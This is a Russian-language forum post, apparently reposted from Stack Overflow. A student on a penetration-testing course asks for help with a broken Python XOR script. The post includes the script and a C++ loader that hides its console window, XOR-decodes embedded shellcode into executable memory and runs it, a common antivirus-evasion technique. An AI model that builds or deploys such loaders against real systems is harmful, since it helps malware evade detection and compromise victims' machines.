Шифрование XOR, которое я нашел с помощью Python, не работает, и оно мне нужно для шифрования файла, затем мне нужен заг ⇐ Python

Программы на Python
Anonymous
Шифрование XOR, которое я нашел с помощью Python, не работает, и оно мне нужно для шифрования файла, затем мне нужен заг

Сообщение Anonymous »

Я работаю над проектом по тестированию на проникновение для своего курса по кибербезопасности в колледже. Я нашел сайт (https://macrosec.tech/index.php/2020/09 ... -backdoor/), на котором есть код Python для шифрования xor, а также код C++ для загрузчика. Код Python предназначен для запуска в командной строке с входным файлом и указанием выходного файла. Например, вы можете запустить код, запустив python xor_file.py sample.txt > выходной_файл.txt. Однако когда я запускаю код, он не работает. У меня очень мало опыта в шифровании и Python, поэтому буду очень признателен за любую помощь. Код приведен ниже.
`

Код: Выделить всё

import sys
KEY = 'x'
def xor(data, key):

key = str(key)

l = len(key)

output_str = ''

for i in range(len(data)):

current = data[i]

current_key = key[i % len(key)]

output_str += chr(ord(current) ^ ord(current_key))
return output_str

def printCiphertext(ciphertext):
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
try:
plaintext = open(sys.argv[1], 'rb').read()
except:
print('File argument needed! %s ' % sys.argv[0])

sys.exit()

ciphertext = xor(plaintext, KEY)
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
Код загрузчика выглядит следующим образом:

Код: Выделить всё

#include 
#include 
int main(int argc, char **argv) {

ShowWindow(GetConsoleWindow(), SW_HIDE);

char b[] = {/* your XORd, with key of ‘x’, shellcode goes here i.e. 0x4C,0x4F, 0x4C */};

char c[sizeof b];

for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}

void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(exec, c, sizeof c);

((void(*)())exec)();

}
Я немного возился с этим, но каждый раз, когда я исправляю ошибку, ее заменяет новая.

Подробнее здесь: https://stackoverflow.com/questions/778 ... -encrypt-a

Вернуться в «Python»